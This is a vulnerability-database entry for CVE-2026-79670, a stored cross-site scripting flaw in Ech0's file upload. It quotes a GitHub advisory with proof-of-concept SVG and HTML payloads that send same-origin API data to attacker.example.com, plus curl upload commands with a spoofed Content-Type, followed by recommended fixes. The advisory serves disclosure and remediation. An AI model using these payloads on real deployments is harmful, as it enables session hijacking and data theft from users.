CVE-2026-79670

mediumPriorität · verfolgen · 19EPSS 0.003 · 17. PerzentilUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.25% (17th) EPSS
CVSS 4.8 · medium
Is it mine?
2 products
Prüfe deine Angriffsfläche
Who says so?
1 sources
osv

EPSS · bewertet 2026-10-27

Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

4.8
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · low–medium · 1.1–4.8

v3.14.8mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:Nprimary · disclosure@vulncheck.comAusnutzbarkeit 1.7 · Auswirkung 2.7
v3.14.8mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:Nsecondary · OSV
v4.04.8mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.01.1lowCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (2)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-69hx-63pv-f8f4Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload2026-04-10ghsa · osvUS

    ## Summary The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, `image/svg+xml` is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing. ## Details The upload handler at `internal/service/file/file.go:85-87` validates file type using only the multipart `Content-Type` header: ```go contentType := file.Header.Get("Content-Type") // client-controlled if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) { return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED) } ``` `isAllowedType` at `file.go:836-843` performs exact string matching — no magic byte detection, no extension validation: ```go func isAllowedType(contentType string, allowedTypes []string) bool { for _, allowed := range allowedTypes { if contentType == allowed { return true } } return false } ``` The original file extension is preserved in the storage key by `RandomKeyGenerator` at `internal/storage/keygen.go:41`: ```go ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename))) ``` All locally stored files are served publicly without authentication at `internal/router/modules.go:51`: ```go ctx.Engine.Static("api/files", root) ``` This `gin.Static` call is registered directly on the engine, outside any authentication middleware group. Go's `http.ServeFile` (used internally by `gin.Static`) determines the response `Content-Type` using `mime.TypeByExtension`, so `.html` files are served as `text/html` and `.svg` files as `image/svg+xml`. No `X-Content-Type-Options: nosniff` or `Content-Security-Policy` headers are set (verified in `internal/router/middleware.go`). **Variant 1 — SVG XSS (no spoofing needed):** `image/svg+xml` is in the default `AllowedTypes` at `internal/config/config.go:241`. SVG files can contain `<script>` tags and event handlers. The VireFS schema routes `.svg` to `images/` (`internal/storage/schema.go:10`). Uploaded SVGs are publicly accessible at `/api/files/images/<key>.svg` and JavaScript within them executes in the application's origin. **Variant 2 — Content-Type spoofing:** Upload an `.html` file with a forged multipart `Content-Type: image/jpeg`. The allowlist check passes (image/jpeg is allowed). The `.html` extension is preserved. The VireFS schema routes unknown extensions to `files/` (`schema.go:14`). The file is served at `/api/files/files/<key>.html` as `text/html`. ## PoC **Variant 1 — SVG XSS (simplest, default config):** ```bash # 1. Create SVG with embedded JavaScript cat > evil.svg << 'SVGEOF' <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"> <script> // Steal cookies and redirect to attacker fetch('/api/echo/page') .then(r => r.json()) .then(d => { new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d)); }); </script> <circle cx="50" cy="50" r="40" fill="red"/> </svg> SVGEOF # 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed) curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer <admin-jwt>' \ -F 'file=@evil.svg;type=image/svg+xml' \ -F 'category=image' \ -F 'storage_type=local' # Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg # 3. Access without authentication — JavaScript executes in application origin: # GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg ``` **Variant 2 — Content-Type bypass with HTML:** ```bash # 1. Create HTML with JavaScript cat > evil.html << 'HTMLEOF' <html><body> <script> document.write('<h1>XSS in ' + document.domain + '</h1>'); // Exfiltrate data from same-origin API fetch('/api/echo/page').then(r=>r.json()).then(d=>{ new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d)); }); </script> </body></html> HTMLEOF # 2. Upload with spoofed Content-Type curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer <admin-jwt>' \ -F 'file=@evil.html;type=image/jpeg' \ -F 'category=image' \ -F 'storage_type=local' # 3. Access without authentication — renders as text/html: # GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html ``` ## Impact - **Stored XSS in the application origin**: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly. - **Session hijacking**: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens. - **Persistent backdoor**: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated. - **Data exfiltration**: JavaScript running in the application origin can call internal API endpoints (e.g., `/api/echo/page`) and exfiltrate application data. - **Social engineering vector**: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised. The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise. ## Recommended Fix **1. Validate Content-Type server-side using magic bytes** (`internal/service/file/file.go`): ```go import "net/http" // Replace client-controlled Content-Type with server-detected type func detectContentType(file multipart.File) (string, error) { buf := make([]byte, 512) n, err := file.Read(buf) if err != nil && err != io.EOF { return "", err } if _, err := file.Seek(0, io.SeekStart); err != nil { return "", err } return http.DetectContentType(buf[:n]), nil } ``` **2. Remove `image/svg+xml` from default AllowedTypes** or sanitize SVGs to strip `<script>` tags and event handlers before storage. **3. Add security headers** in `internal/router/middleware.go`: ```go func SecurityHeaders() gin.HandlerFunc { return func(c *gin.Context) { c.Header("X-Content-Type-Options", "nosniff") c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'") c.Next() } } ``` **4. Serve uploaded files with `Content-Disposition: attachment`** or from a separate origin/subdomain to isolate them from the application's cookie scope.

  • GO-2026-5172Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload in github.com/lin-snow/ech02026-06-25vendor · osvUS

    Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.

06

auch bekannt als (2)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-08-25geändert 2026-08-31
08

Referenzen (2) nvd

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan